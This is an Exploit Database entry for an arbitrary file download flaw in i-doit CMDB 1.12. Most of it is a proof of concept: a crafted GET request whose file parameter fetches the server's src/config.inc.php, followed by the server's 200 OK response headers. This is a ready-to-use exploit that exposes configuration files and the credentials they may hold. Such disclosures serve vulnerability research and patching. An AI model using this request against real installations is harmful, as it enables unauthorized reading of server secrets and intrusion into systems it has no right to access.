

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

i-doit CMDB 1.12 - Arbitrary File Download

EDB-ID:

46133

CVE:

N/A

EDB Verified: ✘

Author:

[IHSAN SENCAN](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2019-01-14

Vulnerable App: 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: i-doit CMDB 1.12 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.i-doit.org/
# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-
doit/1.12/idoit-open-1.12.zip
# Version: 1.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinux_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/index.php?file_manager=image&file=[FILE]
# Users..
#

GET /[PATH]/index.php?file_manager=image&file=src/config.inc.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=h6qbu3jsemq9en8c3epiri8323
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 12 Jan 2019 17:30:16 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Sat, 12 Jan 2019 19:30:17 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
i-doit-Authorized: 1
Last-Modified: Sat, 12 Jan 2019 17:30:17 GMT
Content-Length: 1282
Content-Disposition: inline; filename="src/config.inc.php"
Content-Transfer-Encoding: binary
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING